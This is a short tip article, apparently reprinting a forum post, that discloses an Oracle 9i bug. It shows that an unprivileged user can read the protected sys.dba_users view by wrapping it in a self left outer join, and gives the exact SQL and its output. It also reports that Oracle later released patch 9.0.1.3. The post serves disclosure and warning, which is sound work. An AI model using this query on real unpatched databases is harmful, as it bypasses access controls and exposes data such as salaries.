This was posted on the forum (comp.database.oracle.server) and I have
tried it on my test system and it is a real problem: Any user can access any table using 9i. Someone on the forum posted that there is a TAR 2121935 open stating that it will be fixed in 9iR2 and not in 9.0.x. I saw the tar the other day but now it appears that Oracle has pulled the TAR from metalink as I can't seem to find it anymore.
There is a very simple way for ANY user to read ANY table even if they don't have permission to read that table. Any user on the Oracle database could see a salary table, for example. First, connect to the database using any userid that does not have access to the dba_* tables.
SQL> connect scott / tiger
Connected
Try to select from the sys.dba_user table and you get an error. The error is
that you don't have permission to see the table or read from it. This is
what should happen.
SQL> select username from sys.dba_user
*
ERROR at line 1:
ORA-00942: table or view does not
But if you run a left outer join query on the table, you can see all the
contents. THIS IS A MAJOR BUG and opens up every table in the system to be
viewed by anyone!
SQL> select a.username
from sys.dba_users a left outer join sys.dba_users b
on a.username = b.username;
USERNAME
---------------------------------
SYS
SYSTEM
DBSNMP
AURORA$JIS$UTILITY$
OSE$HTTP$ADMIN
AURORA$ORB$UNAUTHENTICATED
SCOTT
ORA901
...
8 rows selected.
UPDATE: Oracle now has released patch 9.0.1.3 (with TAR 2121935) but not until there was public pressure on the forum. The bug was marked as "fixed in 9.0.2" back in December, 2001 so it's odd that for such a big hole Oracle support would not immediately patch it in 9iR1.
For More Information
- What do you think about this tip? E-mail the Editor at tdichiara@techtarget.com with your feedback.
- The Best Oracle Web Links: tips, tutorials, scripts, and more.
- Have an Oracle tip to offer your fellow DBA's and developers? The best tips submitted will receive a cool prize--submit your tip today!
- Ask your technical Oracle questions--or help out your peers by answering them--in our live discussion forums.
- Check out our Ask the Experts feature: Our SQL, database design, Oracle, SQL Server, DB2, metadata, and data warehousing gurus are waiting to answer your toughest questions.
